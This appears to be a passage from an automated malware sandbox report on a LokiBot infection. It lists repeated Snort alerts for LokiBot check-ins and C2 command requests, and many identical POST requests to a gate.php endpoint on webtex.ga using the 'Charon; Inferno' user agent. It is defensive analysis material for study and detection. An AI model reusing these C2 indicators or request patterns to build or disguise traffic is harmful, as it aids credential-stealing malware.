Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49781 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49781
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49782 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49782 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49782 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49782 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49782 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49782
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49783 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49783 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49783 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49783 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49783 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49783
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49784 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49784 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49784 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49784 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49784 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49784
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49785 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49785 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49785 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49785 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49785 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49785
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49786 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49786 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49786 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49786 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49786 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49786
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49788 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49788 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49788 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49788 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49788 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49788
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49789 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49789 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49789 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49789 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49789 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49789
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49790 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49790 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49790 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49790 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49790 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49790
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49791 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49791 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49791 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49791 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49791 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49791
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49792 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49792 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49792 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49792 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49792 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49792
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49793 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49793 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49793 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49793 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49793 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49793
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49794 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49794 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49794 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49794 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49794 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49794
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49795 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49795 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49795 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49795 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49795 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49795
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49796 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49796 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49796 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49796 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49796 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49796
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49797 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49797 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49797 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49797 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49797 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49797
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49798 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49798 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49798 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49798 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49798 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49798
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49799 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49799 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49799 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49799 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49799 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49799
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49800 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49800 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49800 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49800 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49800 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49800
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49801 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49801 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49801 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49801 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49801 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49801
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49802 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49802 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49802 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49802 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.3:49802 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 47.91.79.163:80 -> 192.168.2.3:49802
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49805 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49805 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49805 -> 47.91.79.163:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49805 -> 47.91.79.163:80

Found C&C like URL pattern

Show sources

Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
